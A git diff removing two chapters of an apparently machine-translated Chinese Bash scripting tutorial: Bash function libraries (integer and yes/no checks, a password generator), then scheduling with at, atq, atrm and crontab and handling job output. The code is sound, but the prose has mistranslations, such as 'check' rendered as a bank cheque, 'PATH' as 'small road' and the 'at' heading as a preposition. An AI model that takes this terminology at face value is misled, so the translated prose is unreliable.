Is an integer. - else - return 1 # Is not an integer. - fi -} -``` - -因为我们处理的是库函数,为了可读性,我们可以稍微详细一点。常规脚本中过多的冗长会降低可读性,但是一旦有人查看函数库进行理解,你可以假设他们会喜欢一些更冗长的脚本。毕竟,当我们在脚本中调用函数时,我们只会看到`check_integer ${variable}`。 - -转到函数。我们首先检查是否收到一个单独的参数。如果我们没有收到,我们退出而不是返回。我们为什么要这么做?调用的脚本不要混淆`1`的返回代码是什么意思;如果这可能意味着我们要么没有检查任何东西,而且检查本身失败了,我们就在我们不想要的地方带来了模糊性。简单地说,return 总是告诉调用者一些关于传递的参数的信息,如果脚本错误地调用了函数,它将看到完整的脚本退出并显示一条错误消息。 - -接下来,我们使用我们在[第 10 章](10.html)、*正则表达式*中构造的正则表达式来检查参数是否实际上是整数。如果是,我们返回`0`。如果不是,我们会打到`else`街区`1`会被退回。为了向阅读图书馆的人强调这一点,我们加入了`# Is an integer`和`# Is not an integer`的评论。为什么不让他们轻松一点呢?请记住,您并不总是为他人编写代码,但是如果您在一年后查看自己的代码,您肯定还会觉得自己是*他人*(同样,您可以在这一点上信任我们!). - -我们将进行另一次搜索——从我们早期的脚本中替换。上一章`password-generator.sh`中合适的一个将很好地服务于这个目的。将它复制到一个新文件中,用源代码加载函数库,并替换参数检查(是的,两者都有!): - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim library-password-generator.sh -reader@ubuntu:~/scripts/chapter_13$ cat library-password-generator.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-17 -# Description: Generate a password. -# Usage: ./library-password-generator.sh -##################################### - -# Load our Bash function library. -source ~/bash-function-library.sh - -# Check for the correct number of arguments. -check_arguments 1 "$@" || \ -{ echo "Incorrect usage! Usage: $0 "; exit 1; } - -# Verify the length argument. -check_integer $1 || { echo "Argument must be an integer!"; exit 1; } - -# tr grabs readable characters from input, deletes the rest. -# Input for tr comes from /dev/urandom, via input redirection. -# echo makes sure a newline is printed. -tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c $1 -echo -``` - -我们用库函数替换了参数数量检查和整数检查。我们还删除了变量声明,直接在脚本的函数部分使用`$1`;这并不总是最好的做法。然而,当输入只使用一次时,首先将其存储在一个命名变量中会产生一些开销,我们可能会跳过这些开销。即使有了所有的空白和注释,我们仍然设法通过使用函数调用将脚本行数从 31 减少到 26。当我们调用新的和改进的脚本时,我们会看到以下内容: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash library-password-generator.sh -Incorrect usage! Usage: library-password-generator.sh -reader@ubuntu:~/scripts/chapter_13$ bash library-password-generator.sh 10 -50BCuB835l -reader@ubuntu:~/scripts/chapter_13$ bash library-password-generator.sh 10 20 -Incorrect usage! Usage: library-password-generator.sh -reader@ubuntu:~/scripts/chapter_13$ bash library-password-generator.sh bob -Argument must be an integer! -``` - -太好了,我们的支票如预期般有效。看起来也好多了,不是吗? - -# 是-否检查 - -在我们完成这一章之前,我们将再出示一张支票。本书进行到一半时,在[第 9 章](09.html)、*错误检查和* *处理*、中,我们展示了一个脚本,该脚本处理一个可以提供“是”或“否”的用户。但是,正如我们在那里解释的那样,用户也可能使用“y”或“n”,甚至可能在那里的某个地方使用大写字母。通过偷偷使用一点 Bash 扩展,您会看到在[第 16 章](16.html)、 *Bash 参数替换和扩展*中有适当的解释,我们能够对用户输入进行相对清晰的检查。我们去图书馆拿那个东西吧! - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim ~/bash-function-library.sh -reader@ubuntu:~/scripts/chapter_13$ cat ~/bash-function-library.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.3.0 -# Date: 2018-11-17 -# Description: Bash function library. -# Usage: source ~/bash-function-library.sh -##################################### - - -# Checks if the user answered yes or no. -check_yes_no() { - # Input validation. - if [[ $# -ne 1 ]]; then - echo "Need exactly one argument, exiting." - exit 1 # No validation done, exit script. - fi - - # Return 0 for yes, 1 for no, exit 2 for neither. - if [[ ${1,,} = 'y' || ${1,,} = 'yes' ]]; then - return 0 - elif [[ ${1,,} = 'n' || ${1,,} = 'no' ]]; then - return 1 - else - echo "Neither yes or no, exiting." - exit 2 - fi -} -``` - -通过这个例子,我们为您设计了一个高级脚本。我们现在有四种可能的结果,而不是二元返回: - -* 函数被错误调用:`exit 1` -* 函数找到一个是:`return 0` -* 函数找到一个编号:`return 1` -* 函数未找到:`exit 2` - -使用我们新的库函数,我们将采用`yes-no-optimized.sh`脚本,并用(几乎)单个函数调用替换复杂的逻辑: - -```sh -reader@ubuntu:~/scripts/chapter_13$ cp ../chapter_09/yes-no-optimized.sh library-yes-no.sh -reader@ubuntu:~/scripts/chapter_13$ vim library-yes-no.sh -reader@ubuntu:~/scripts/chapter_13$ cat library-yes-no.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-17 -# Description: Doing yes-no questions from our library. -# Usage: ./library-yes-no.sh -##################################### - -# Load our Bash function library. -source ~/bash-function-library.sh - -read -p "Do you like this question? " reply_variable - -check_yes_no ${reply_variable} && \ -echo "Great, I worked really hard on it!" || \ -echo "You did not? But I worked so hard on it!" -``` - -花一分钟看看前面的脚本。刚开始可能会有点混乱,但是尽量记住`&&`和`||`是做什么的。由于我们应用了一些智能排序,我们可以依次使用`&&`和`||`来实现我们的结果。这样看: - -1. 如果`check_yes_no`返回退出状态 0(当发现**是**时),则执行& &后的命令。因为这与成功相呼应,并且`echo`的退出代码为 0,所以下一个`||`之后的失败`echo`不会执行。 -2. 如果`check_yes_no`返回退出状态 1(当发现**没有**时),则不执行& &后的命令。但是,它会一直持续到到达`||`,由于返回代码仍然是*而不是* 0,因此会继续出现故障回声。 -3. 如果`check_yes_no`因缺少参数或缺少是/否而退出,则不执行`&&`和`||`之后的命令(因为脚本被赋予了`exit`而不是`return`,所以代码执行立即停止)。 - -很聪明吧?然而,我们必须承认,这有点违背我们一直在教你的关于可读性的大多数东西。将此视为链接`&&`和`||`的教学练习。如果你想自己实现“是-否”检查,最好创建专用的`check_yes()`和`check_no()`功能。无论如何,让我们看看我们精心设计的脚本是否真的像我们希望的那样工作: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash library-yes-no.sh -Do you like this question? Yes -Great, I worked really hard on it! -reader@ubuntu:~/scripts/chapter_13$ bash library-yes-no.sh -Do you like this question? n -You did not? But I worked so hard on it! -reader@ubuntu:~/scripts/chapter_13$ bash library-yes-no.sh -Do you like this question? MAYBE -Neither yes or no, exiting. -reader@ubuntu:~/scripts/chapter_13$ bash library-yes-no.sh -Do you like this question? -Need exactly one argument, exiting. -``` - -我们在检验工作中定义的所有场景。大获成功! - -Normally, you do not want to mix exit and return codes too much. Also, using a return code to convey anything other than pass or fail is also pretty uncommon. However, since you can return 256 different codes (from 0 up to 255), this is at least possible by design. Our yes-no example was a good candidate for showing how this could be used. However, as a general tip, you're probably better off by using it in a pass/fail way, as currently you place the burden of knowing the different return codes on the caller. Which is, to say the least, not always a fair thing to ask of them. - -我们想用一个小练习来结束这一章。在本章中,在介绍函数库之前,我们已经创建了几个函数:两个用于错误处理,一个用于彩色打印,一个用于反转文本。你的练习很简单:抓住那些函数,并把它们添加到你的个人函数库。请务必记住以下事项: - -* 这些函数是否足够冗长,可以原样包含在库中,或者它们可以使用更多? -* 我们能调用函数并按原样处理输出吗,还是编辑更好? -* 返回和退出是否正确实现,或者它们是否需要调整以作为通用库函数工作? - -这里没有对错答案,只是需要考虑的事情。祝你好运! - -# 摘要 - -在本章中,我们介绍了 Bash 函数。函数是通用的命令链,可以定义一次,然后调用多次。函数是可重用的,可以在多个脚本之间共享。 - -引入了可变范围。到目前为止,我们看到的变量一直是全球范围的:它们对整个脚本都是可用的。然而,随着函数的引入,我们遇到了*局部*范围的变量。这些只能在一个函数中访问,并用`local`关键字标记。 - -我们了解到函数可以有自己独立的参数集,当调用函数时,这些参数可以作为参数传递。我们证明了这些实际上不同于传递给脚本的全局参数(当然,除非所有参数都传递给函数)。我们给出了一个使用`stdout`从函数返回输出的例子,我们可以通过将函数调用封装在命令替换中来捕获它。 - -在本章的后半部分,我们将注意力转向创建函数库:一个没有实际命令的独立脚本,它可以(通过`source`命令)包含在另一个脚本中。一旦库来源于另一个脚本,该脚本就可以使用库中定义的所有函数。我们在本章的剩余部分展示了如何做到这一点,同时用一些实用函数扩展了我们的函数库。 - -我们在这一章的最后为读者做了一个练习,以确保本章中定义的所有函数都包含在自己的个人函数库中。 - -本章介绍了以下命令:`top`、`free`、`declare`、`case`、`rev`和`return`。 - -# 问题 - -1. 我们可以用哪两种方法定义函数? -2. 函数有哪些优点? -3. 全局范围的变量和局部范围的变量有什么区别? -4. 我们如何为变量设置值和属性? -5. 函数如何使用传递给它的参数? -6. 我们如何从函数中返回值? -7. `source`命令是做什么的? -8. 为什么我们要创建一个函数库? - -# 进一步阅读 - -* **Linux 性能监控**:[https://linoxide . com/monitoring-2/Linux-性能-监控-工具/](https://linoxide.com/monitoring-2/linux-performance-monitoring-tools/) - -* **AWK 基础教程**:[https://mistonline.in/wp/awk-basic-tutorial-with-examples/](https://mistonline.in/wp/awk-basic-tutorial-with-examples/) -* **高级 Bash 变量**:[https://www.thegeekstuff.com/2010/05/bash-variables/](https://www.thegeekstuff.com/2010/05/bash-variables/) -* **采购**:[https://bash.cyberciti.biz/guide/Source_command](https://bash.cyberciti.biz/guide/Source_command) \ No newline at end of file diff --git a/docs/learn-linux-shell-script/14.md b/docs/learn-linux-shell-script/14.md deleted file mode 100644 index 42ac6d46..00000000 --- a/docs/learn-linux-shell-script/14.md +++ /dev/null @@ -1,578 +0,0 @@ -# 十四、计划和记录 - -在本章中,我们将教您计划和记录脚本结果的基础知识。我们将首先解释如何使用`at`和`cron`来调度命令和脚本。在本章的第二部分,我们将描述如何记录脚本的结果。我们可以使用 Linux 的本地邮件功能和重定向来达到这个目的。 - -本章将介绍以下命令:`at`、`wall`、`atq`、`atrm`、`sendmail`、`crontab`和`alias`。 - -本章将涵盖以下主题: - -* 用`at`和`cron`调度 -* 记录脚本结果 - -# 技术要求 - -本章所有脚本均可在 GitHub:[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4 基础/tree/master/Chapter14](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4/tree/master/Chapter14) 上找到。剩下的例子和练习应该在你的 Ubuntu 虚拟机上进行。 - -# 通过 at 和 cron 进行计划 - -到目前为止,我们已经了解了 shell 脚本世界中的许多东西:变量、条件、循环、重定向,甚至函数。在本章中,我们将解释另一个与 shell 脚本密切相关的重要概念:调度。 - -简而言之,调度就是确保您的命令或脚本在特定的时间运行,而不需要您每次都亲自启动它们。清理日志就是一个经典的例子;通常,较旧的日志不再有用,并且会占用太多空间。例如,您可以通过清除超过 45 天的日志的清理脚本来解决这个问题。然而,这样的脚本应该每天运行一次。在工作日,这不应该是最大的问题,但是在周末登录并不有趣。实际上,我们甚至不应该考虑这一点,因为调度允许我们定义或*脚本运行的频率!* - -在 Linux 调度中,最常用的工具是`at`和`cron`。我们将首先使用`at`描述调度的原理,然后继续使用功能更强大(也正因为如此,使用更广泛)的`cron`。 - -# 在 - -`at`命令主要用于临时调度。`at`的语法非常接近我们的自然语言。这最容易用一个例子来解释,如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_14$ date -Sat Nov 24 11:50:12 UTC 2018 -reader@ubuntu:~/scripts/chapter_14$ at 11:51 -warning: commands will be executed using /bin/sh -at> wall "Hello readers!" -at> -job 6 at Sat Nov 24 11:51:00 2018 -reader@ubuntu:~/scripts/chapter_14$ date -Sat Nov 24 11:50:31 UTC 2018 - -Broadcast message from reader@ubuntu (somewhere) (Sat Nov 24 11:51:00 2018): - -Hello readers! - -reader@ubuntu:~/scripts/chapter_14$ date -Sat Nov 24 11:51:02 UTC 2018 -``` - -本质上,你是在告诉系统:*在<时间戳>做点什么*。当您输入`at 11:51`命令时,会出现一个交互式提示,允许您输入想要执行的命令。之后用 *Ctrl* + *D* 退出提示;如果使用 *Ctrl* + *C* ,作业不会被保存!作为参考,我们在这里使用一个简单的命令,`wall`,它允许您向当时登录到服务器的每个人广播一条消息。 - -# 时间语法 - -当你使用`at`时,你可以绝对的指定时间,就像我们在前面的例子中做的那样,或者相对的。亲戚的一个例子是 5 分钟后的 T2 或 24 小时后的 T4。这通常比检查当前时间、添加您想要的时间间隔并将其传递给`at`更容易。这使用以下语法: - -```sh -reader@ubuntu:~/scripts/chapter_14$ at now + 1 min -warning: commands will be executed using /bin/sh -at> touch /tmp/at-file -at> -job 10 at Sun Nov 25 10:16:00 2018 -reader@ubuntu:~/scripts/chapter_14$ date -Sun Nov 25 10:15:20 UTC 2018 -``` - -您总是需要指定要添加分钟、小时或天的相对时间。幸运的是,我们可以使用现在作为当前时间的关键词。请注意,在处理分钟时,`at`将始终舍入到最近的整分钟。除了分钟,以下内容也是有效的(见`man at`): - -* 小时 -* 天 -* 周末 - -您甚至可以创建更复杂的解决方案,例如从现在起三天后的下午 4 点。然而,我们觉得`cron`更适合这种情况。对于`at`来说,最好的利用似乎是在附近的*一次性工作。* - -# 排队的人 - -一旦你开始安排工作,你会发现自己陷入了这样一种境地,要么把时间搞砸了,要么把工作内容搞砸了。对于某些工作,你可以添加一个新的,让另一个失败。然而,在某些情况下,原始作业会对您的系统造成严重破坏。在这种情况下,删除不正确的作业是个好主意。幸运的是,`at`的创作者预见到了这个问题(大概也经历过吧!)并创建了这个功能。`atq`命令(在 **队列**中为**的缩写)向您显示当前在管道中的作业。有了`atrm`(不要以为我们需要解释那一个),你可以通过数字来移除工作。让我们看一个队列中有多个作业的例子,并删除一个:** - -```sh -reader@ubuntu:~/scripts/chapter_14$ vim wall.txt -reader@ubuntu:~/scripts/chapter_14$ cat wall.txt -wall "Hello!" -reader@ubuntu:~/scripts/chapter_14$ at now + 5 min -f wall.txt -warning: commands will be executed using /bin/sh -job 12 at Sun Nov 25 10:35:00 2018 -reader@ubuntu:~/scripts/chapter_14$ at now + 10 min -f wall.txt -warning: commands will be executed using /bin/sh -job 13 at Sun Nov 25 10:40:00 2018 -reader@ubuntu:~/scripts/chapter_14$ at now + 4 min -f wall.txt -warning: commands will be executed using /bin/sh -job 14 at Sun Nov 25 10:34:00 2018 -reader@ubuntu:~/scripts/chapter_14$ atq -12 Sun Nov 25 10:35:00 2018 a reader -13 Sun Nov 25 10:40:00 2018 a reader -14 Sun Nov 25 10:34:00 2018 a reader -reader@ubuntu:~/scripts/chapter_14$ atrm 13 -reader@ubuntu:~/scripts/chapter_14$ atq -12 Sun Nov 25 10:35:00 2018 a reader -14 Sun Nov 25 10:34:00 2018 a reader -``` - -如您所见,我们为`at`使用了一个新的标志:`-f`。这允许我们运行文件中定义的命令,而不是必须使用交互式 Shell。我们以这个文件结尾。txt(为了清楚起见,不需要扩展),包含要执行的命令。我们使用这个文件来安排三个作业:5 分钟后、10 分钟后和 4 分钟后。完成后,我们使用`atq`查看当前队列:所有三个作业,编号为 12、13 和 14。此时,我们意识到我们只希望作业在 4 分钟和 5 分钟后运行,而不是 10 分钟后运行。我们现在可以使用`atrm`通过简单地将作业号添加到命令中来删除该作业号 13。当我们稍后再次查看队列时,我们看到只剩下作业 12 和 14。几分钟后,前两个你好!信息被打印到我们的屏幕上。如果我们等满 10 分钟,我们就知道了...没什么,因为我们已经成功删除了我们的工作: - -```sh -Broadcast message from reader@ubuntu (somewhere) (Sun Nov 25 10:34:00 2018): - -Hello! - -Broadcast message from reader@ubuntu (somewhere) (Sun Nov 25 10:35:00 2018): - -Hello! - -reader@ubuntu:~/scripts/chapter_14$ date -Sun Nov 25 10:42:07 UTC 2018 -``` - -Instead of using `atq` and `atrm`, `at` also has flags we can use for those functions. For `atq`, this is `at -l` (*list*). `atrm` even has two possible alternatives: `at -d` (*delete*) and `at -r` (*remove*). It does not matter whether you use the supporting commands or the flags; under the hood, the same thing will be executed. Use whatever is easiest to remember for you! - -# 输出端 - -正如你可能已经注意到的,到目前为止,我们只使用了不依赖于 stdout 的命令(我们知道,有点偷偷摸摸)。然而,一旦你想一想,这就带来了一个真正的问题。通常,当我们处理命令和脚本时,我们使用 stdout/stderr 来获得对我们的操作结果的感觉。交互式提示也是如此:我们使用键盘通过 stdin 提供输入。既然我们安排了*非互动工作*,事情就不一样了。首先,我们不能再使用像`read`这样的交互构造了。脚本将会失败,因为没有可用的 stdin。但是,同样,也没有可用的标准输出,所以我们甚至没有看到脚本失败!还是有? - -在`at`的联机帮助页的某个地方,您可以找到以下文本: - -"The user will be mailed standard error and standard output from his commands, if any. Mail will be sent using the command /usr/sbin/sendmail. If at is executed from a su(1) shell, the owner of the  login  shell  will  receive  the mail." - -似乎`at`的创作者也想到了这个问题。但是,如果你对 Linux 没有太多的经验(还没有!),您可能对前面文本的邮件部分感到困惑。如果你想到的是有邮票的那种,那你就大错特错了。然而,如果你认为*电子邮件*,你会更温暖一点。 - -在不涉及太多细节的情况下(这绝对超出了本书的范围),Linux 有一个本地*邮件缓冲区,*,允许你在本地系统内发送电子邮件。如果您用上游服务器配置它,您实际上也可以发送实际的电子邮件,但是现在,请记住 Linux 系统上的内部电子邮件是可用的。有了这个邮件缓冲区,电子邮件就成了文件系统上的文件(也许这并不奇怪)。这些可以在/var/spool/mail 找到,这实际上是/var/mail 的符号链接。如果您安装了 Ubuntu 18.04,这些目录将是空的。这很容易解释:默认情况下,不安装`sendmail`。如果没有安装它,并且您计划了一个具有标准输出的作业,就会发生这种情况: - -```sh -reader@ubuntu:/var/mail$ which sendmail # No output, so not installed. -reader@ubuntu:/var/mail$ at now + 1 min -warning: commands will be executed using /bin/sh -at> echo "Where will this go?" -at> -job 15 at Sun Nov 25 11:12:00 2018 -reader@ubuntu:/var/mail$ date -Sun Nov 25 11:13:02 UTC 2018 -reader@ubuntu:/var/mail$ ls -al -total 8 -drwxrwsr-x 2 root mail 4096 Apr 26 2018 . -drwxr-xr-x 14 root root 4096 Jul 29 12:30 .. -``` - -是的,没什么事。现在,如果我们安装`sendmail`并再次尝试,我们应该会看到不同的结果: - -```sh -reader@ubuntu:/var/mail$ sudo apt install sendmail -y -[sudo] password for reader: -Reading package lists... Done - -Setting up sendmail (8.15.2-10) ... - -reader@ubuntu:/var/mail$ which sendmail -/usr/sbin/sendmail -reader@ubuntu:/var/mail$ at now + 1 min -warning: commands will be executed using /bin/sh -at> echo "Where will this go?" -at> -job 16 at Sun Nov 25 11:17:00 2018 -reader@ubuntu:/var/mail$ date -Sun Nov 25 11:17:09 UTC 2018 -You have new mail in /var/mail/reader -``` - -邮件,只给你!如果我们检查/var/mail/ - -```sh -reader@ubuntu:/var/mail$ ls -l -total 4 --rw-rw---- 1 reader mail 1341 Nov 25 11:18 reader -reader@ubuntu:/var/mail$ cat reader -From reader@ubuntu.home.lan Sun Nov 25 11:17:00 2018 -Return-Path: -Received: from ubuntu.home.lan (localhost.localdomain [127.0.0.1]) - by ubuntu.home.lan (8.15.2/8.15.2/Debian-10) with ESMTP id wAPBH0Ix003531 - for ; Sun, 25 Nov 2018 11:17:00 GMT -Received: (from reader@localhost) - by ubuntu.home.lan (8.15.2/8.15.2/Submit) id wAPBH0tK003528 - for reader; Sun, 25 Nov 2018 11:17:00 GMT -Date: Sun, 25 Nov 2018 11:17:00 GMT -From: Learn Linux Shell Scripting -Message-Id: <201811251117.wAPBH0tK003528@ubuntu.home.lan> -Subject: Output from your job 16 -To: reader@ubuntu.home.lan - -Where will this go? -``` - -它甚至看起来像一封真正的电子邮件,有日期:,主题:,收件人:,和发件人:(等等)。如果我们安排更多的工作,我们会看到新的邮件附加到这个文件。Linux 有一些简单的、基于文本的邮件客户端,允许你把这个单个文件当作多个电子邮件来处理(这方面的一个例子是`mutt`);然而,我们的目的并不需要这些。 - -One thing of note when dealing with notifications from the system, such as the You have new mail one, is that it does not always get pushed to your Terminal (while some others, such as `wall`, do). These messages are printed the next time your Terminal is updated; this is often done when you enter a new command, (or just an empty *Enter*). If you're working on these examples and waiting for the output, don't hesitate to press *Enter* a few times and see whether something comes up! - -虽然有时获得我们作为作业运行的命令的输出是很好的,但更多时候它可能非常烦人,因为许多进程可以向您发送本地邮件。通常,这将导致您不查看邮件的情况,甚至主动抑制命令的输出,因此您不会收到更多的邮件。在本章的后面,在我们介绍完`cron`之后,我们将花一些时间描述我们如何以正确的方式处理输出*。作为一个小的预览,这意味着我们不会依赖像这样的内置功能,但是我们将使用重定向来**将我们需要的输出写到我们知道可以找到它的地方。*** - -# 时间单位 - -现在已经讨论了通过`at`进行调度的基础知识,让我们来看看 Linux 上真正的调度发电站:`cron`。`cron`是一个作业调度程序,由两个主要组件组成: *cron 守护程序*(有时称为 *crond* )和 *crontab* 。cron 守护程序是运行计划作业的后台进程。这些作业是使用 crontab 计划的,crontab 只是文件系统上的一个文件,最常用同名命令进行编辑:`crontab`。我们将从查看`crontab`命令和语法开始。 - -# 例行性工作排程 - -Linux 系统上的每个用户都可以拥有自己的 crontab。还有一个系统范围的 crontab(不要和可以在 root 用户下运行的 crontab 混淆!),用于周期性任务;我们将在本章后面讨论这些问题。现在,我们将从探索 crontab 语法开始,并为我们的读者用户创建第一个 crontab。 - -# crontab 的语法 - -虽然语法最初看起来很混乱,但实际上并不难理解,而且非常灵活: - - command - -哇,那很简单!如果真的是这样,那么是的。然而,我们上面描述的实际上是由五个不同的字段组成的,它们构成了多次运行作业的组合周期。实际上,时间戳定义如下(按顺序): - -1. 一分钟一小时 -2. 每日一小时 -3. 每月的某一天 -4. 月 -5. 一周中的某一天 - -在这些值中的任何一个中,我们可以用一个数字代替一个通配符,表示*所有的值*。查看下表,了解我们如何将这五个字段组合在一起以获得精确的时间: - -| **克朗塔布语法** | **语义** | -|  15 16 * * * | 每天 16:15。 | -|  30 * * * * | 每小时一次,在 xx:30(因为每个小时由于通配符而有效)。 | -|  * 20 * * * | 每天 60 次,在 20:00 到 20:59 之间(小时是固定的,分钟有通配符)。 | -|  10 10 1 * * | 每个月的第一天,10:10。 | -|  00 21 * * 1 | 每周一次,周一 21:00(1-7 是周一到周日,周日也是 0)。 | -|  59 23 31 12 * | 就在新年前,12 月 31 日 23:59。 | -|  01 00 1 1 3 | 1 月 1 日 00:01,但前提是发生在周三(这将发生在 2020 年)。 | - -你可能会对这个语法有点困惑。由于我们中的许多人通常将时间写为 18:30,因此颠倒分钟和小时似乎有点违背直觉。然而,事情就是这样(相信我们,你很快就会习惯 crontab 格式)。现在,也有一些高级技巧可以使用这种语法: - -* 8-16(连字符允许多个值,因此`00 8-16 * * *`表示从 08:00 到 16:00 的每一个完整小时)。 -* */5 允许每 5 *个单位*(最常用于第一个位置,每 5 分钟)。小时的值*/6 也很有用,一天四次。 -* 00,30 表示两个值,例如每小时 30 分钟或半小时(也可以写成*/30)。 - -在我们陷入理论之前,让我们使用`crontab`命令为用户创建一个简单的第一个 crontab。`crontab`命令有三个你最常使用的有趣标志:`-l`代表列表,`-e`代表编辑,`-r`代表移除。让我们使用这三个命令创建(并删除)第一个 crontab: - -```sh -reader@ubuntu:~$ crontab -l -no crontab for reader -reader@ubuntu:~$ crontab -e -no crontab for reader - using an empty one - -Select an editor. To change later, run 'select-editor'. - 1\. /bin/nano <---- easiest - 2\. /usr/bin/vim.basic - 3\. /usr/bin/vim.tiny - 4\. /bin/ed - -Choose 1-4 [1]: 2 -crontab: installing new crontab -reader@ubuntu:~$ crontab -l -# m h dom mon dow command -* * * * * wall "Crontab rules!" - -Broadcast message from reader@ubuntu (somewhere) (Sun Nov 25 16:25:01 2018): - -Crontab rules! - -reader@ubuntu:~$ crontab -r -reader@ubuntu:~$ crontab -l -no crontab for reader -``` - -如您所见,我们首先使用`crontab -l`命令列出当前的 crontab。因为我们没有一个,所以我们看到消息没有 crontab 为读者(没有惊喜)。接下来,当我们使用`crontab -e`开始编辑 crontab 时,我们会得到一个选择:我们要使用哪个编辑器?一如既往,做对你最有利的事。我们对`vim`有足够的经验,比起`nano`我们更喜欢它。我们只需要为每个用户做一次,因为 Linux 会保存我们的偏好(查看~/)。selected_editor 文件)。最后,我们将看到一个文本编辑器屏幕,在我们的 Ubuntu 机器上,它充满了关于 crontabs 的小教程。由于所有这些行都以#开头,因此都被视为注释,不会干扰执行。通常,除了语法提示:m . h . DOM mon Dow 命令之外,我们删除一切*。您可能会忘记这个语法几次,这就是为什么当您需要快速编辑时,这个小提示会有很大帮助,尤其是当您已经有一段时间没有使用 crontab 了。* - -我们用最简单的时间语法创建一个 crontab:在所有五个位置使用通配符。简单的说,就是指定后的命令是每分钟运行*。保存并退出后,我们最多等待一分钟,然后才能看到`wall "Crontab rules!";`命令的结果,这是我们自己用户的广播,系统上的所有用户都可以看到。因为这种结构严重破坏了系统,我们使用`crontab -r`在一次广播后删除了 crontab。或者,我们也可以删除那一行或者注释掉它。* - -*A crontab can have many entries. Each entry has to be placed on its own line, with its own time syntax. This allows for a user to have many different jobs scheduled, at different frequencies. Because of this, `crontab -r` is not often used, and by itself is pretty destructive. We would advise you to always use `crontab -e` to ensure you do not accidentally delete your whole job schedule, but just the bits that you want. - -如上所述,所有 crontabs 都保存为文件系统中的文件。您可以在/var/spool/cron/cron tab/目录中找到它们。该目录只能由根用户访问;如果所有用户都能看到彼此的工作时间表,这将会有一些重大的隐私问题。但是,如果您使用`sudo`成为根,您将看到以下内容: - -```sh -reader@ubuntu:~$ sudo -i -[sudo] password for reader: -root@ubuntu:~# cd /var/spool/cron/crontabs/ -root@ubuntu:/var/spool/cron/crontabs# ls -l -total 4 --rw------- 1 reader crontab 1090 Nov 25 16:51 reader -``` - -如果我们打开这个文件(`vim`、`less`、`cat`,无论你喜欢什么),我们会看到与读者用户向我们展示的`crontab -e`相同的内容。不过,一般来说,总是使用可用的工具来编辑像这样的文件!这样做的主要附加好处是,这些工具不允许您保存不正确的格式。如果我们手工编辑 crontab 文件,并且时间语法错误,整个 crontab 将不再工作。如果您对`crontab -e`执行同样的操作,您将看到一个错误,crontab 将不会被保存,如下所示: - -```sh -reader@ubuntu:~$ crontab -e -crontab: installing new crontab -"/tmp/crontab.ABXIt7/crontab":23: bad day-of-week -errors in crontab file, can't install. -Do you want to retry the same edit? (y/n) -``` - -在前面的例子中,我们输入了行`* * * * true`。从错误中可以看出,cron 需要一个数字或通配符,它会找到命令`true`(您可能还记得,这是一个只返回退出代码 0 的命令)。它向用户显示一个错误,并拒绝保存新的编辑,这意味着所有以前计划的作业都是安全的,并将继续运行,即使我们这次搞砸了。 - -The time syntax for crontab allows pretty much any combination you could think of. However, sometimes you do not really care about an exact time, but are more interested in making sure something runs *hourly*, *daily*, *weekly,* or even *monthly*. Cron has some special time syntaxes for this: instead of the five values you normally insert, you can tell the crontab `@hourly`, `@daily`, `@weekly`, and `@monthly`. - -# 记录脚本结果 - -按计划运行脚本是自动化重复性任务的一个好方法。但是,在这样做的时候有一个很大的考虑:日志。通常,当您运行一个命令时,输出将对您直接可见。如果出现问题,你就在键盘后面调查问题。然而,一旦我们开始使用`cron`(甚至`at`),我们就不再看到命令的直接输出。我们一登录就只能查结果,如果不做安排,只能找脚本的*结果(比如清理日志文件)。我们需要的是记录我们的脚本,所以我们有一个简单的方法来定期验证我们的脚本是否成功运行。* - -# Crontab 环境变量 - -在我们的 crontab 中,我们可以定义环境变量,这些变量将被我们的命令和脚本使用。crontab 的这个函数使用非常频繁,但大部分只用于三个环境变量:PATH、SHELL 和 MAILTO。我们将看看这些变量的用例/必要性。 - -# 小路 - -通常,当你登录一个 Linux 系统时,你会得到一个*登录 Shell*。登录 Shell 是一个完全交互式的 Shell,它为您做了一些很酷的事情:它设置 PS1 变量(它决定了您的提示的外观),正确设置您的路径,等等。现在,正如您可能想象的那样,除了登录 Shell 之外,还有其他东西。从技术上讲,有两个维度构成了四种不同的壳: - -| | **登录** | 不登录 | -| **互动** | 交互式登录 Shell | 交互式非登录 Shell | -| **非互动** | 非交互式登录 Shell | 非交互式非登录 Shell | - -大多数情况下,您会使用*交互式登录 Shell*,例如当您通过(SSH)或直接通过终端控制台连接时。另一个经常遇到的 shell 是*非交互非登录 shell* ,这是通过`at`或`cron`运行命令时使用的。另外两个是可能的,但是我们不会详细讨论你什么时候能得到它们。 - -那么,既然您知道我们在`at`和`cron`中获得了不同类型的 Shell,我们肯定您想知道它们的区别是什么(如中所示,您为什么关心这个?).有许多文件可以在 Bash 中设置您的配置文件。这里列出了其中的一些: - -* `/etc/profile` -* `/etc/bash.bashrc` -* `~/.profile` -* `~/.bashrc` - -位于/etc/中的前两个是系统范围的文件,因此对所有用户都是相同的。后两个在你的主目录中,是个人的;这些可以编辑,例如,添加您想要使用的别名。`alias`命令用于创建带有标志的命令的简写。~/。默认情况下,在 Ubuntu 18.04 上,bashrc 文件包含行`alias ll='ls -alF'`,这意味着您可以键入`ll`并执行`ls -alF`。 - -在不涉及太多细节的情况下(过于简单),交互登录 Shell 会读取并解析所有这些文件,而非交互非登录 Shell 则不会(更多详细信息,请参见*进一步阅读*部分)。一如既往,一张图片胜过千言万语,所以让我们自己来看看它们的不同之处: - -```sh -reader@ubuntu:~$ echo $PATH -/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin -reader@ubuntu:~$ echo $PS1 -\[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ -reader@ubuntu:~$ echo $0 --bash -reader@ubuntu:~$ at now -warning: commands will be executed using /bin/sh -at> echo $PATH -at> echo $PS1 -at> echo $0 -at> -job 19 at Sat Dec 